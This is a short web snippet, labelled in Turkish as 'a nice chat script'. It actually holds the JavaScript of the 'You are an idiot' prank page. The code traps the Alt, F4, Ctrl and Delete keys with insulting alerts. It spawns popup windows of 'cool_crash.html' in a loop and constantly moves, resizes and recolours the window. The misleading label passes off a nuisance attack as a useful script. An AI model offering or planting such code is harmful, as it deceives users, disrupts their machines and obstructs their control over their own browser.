Güzel bir chat scripti!

<script language=Javascript>

function wopen(a1,a2,a3) {return top.open(a1,a2,a3);}

function altf4key() { if (event.keyCode == 18 || event.keyCode == 115) alert("You are an idiot!"); }
function ctrlkey() { if (event.keyCode == 17) alert("You are an idiot!"); }
function delkey() { if (event.keyCode == 46) alert("You are an idiot!"); }

var xOff = 5;
var yOff = 5;
var xPos = 400;
var yPos = -100;
var flagRun = 1;

function openWindow(){
url='cool_crash.html';
aWindow = wopen(url,"_blank",
'menubar=no,status=no,toolbar=noresizable=no,width =180,height=175,titlebar=no,alwaysRaised=yes');
}

function procreate(){
for(i=0;i<5;i++) openWindow();
}

function newXlt(){
xOff = Math.ceil( 0 - 6 * Math.random()) * 5 - 10 ;
window.focus()}

function newXrt(){
xOff = Math.ceil(7 * Math.random()) * 5 - 10 ;
}

function newYup(){
yOff = Math.ceil( 0 - 6 * Math.random()) * 5 - 10 ;
}

function newYdn(){
yOff = Math.ceil( 7 * Math.random()) * 5 - 10 ;
}
function fOff(){
flagrun = 0;
}

var size=100, minsize=100, maxsize=350, sign=1, shag=0, color=0;
function playBall(){

xPos += Math.ceil(xOff/2);
yPos += Math.ceil(yOff/2);
if (xPos > screen.width-175){
newXlt();
}
if (xPos < 0){
newXrt();
}
if (yPos > screen.height-100){
newYup();
}
if (yPos < 0){
newYdn();
}
if (flagRun == 1){
window.moveTo(xPos,yPos);
if (shag>10) {
if (color==2) { thiscolor="#0000ff"; }
if (color==1) { thiscolor="#ff0000"; }
if (color==0) { thiscolor="#00ff00"; }
if (++color>2) color=0;
x1.style.backgroundColor=thiscolor;
x2.style.backgroundColor=thiscolor;
size+=sign*10;
if (size>maxsize || size<minsize) sign*=-1;
window.resizeTo(size,size);
shag=0;
}
shag+=0.3;
setTimeout('playBall()',10);
}
}

</script>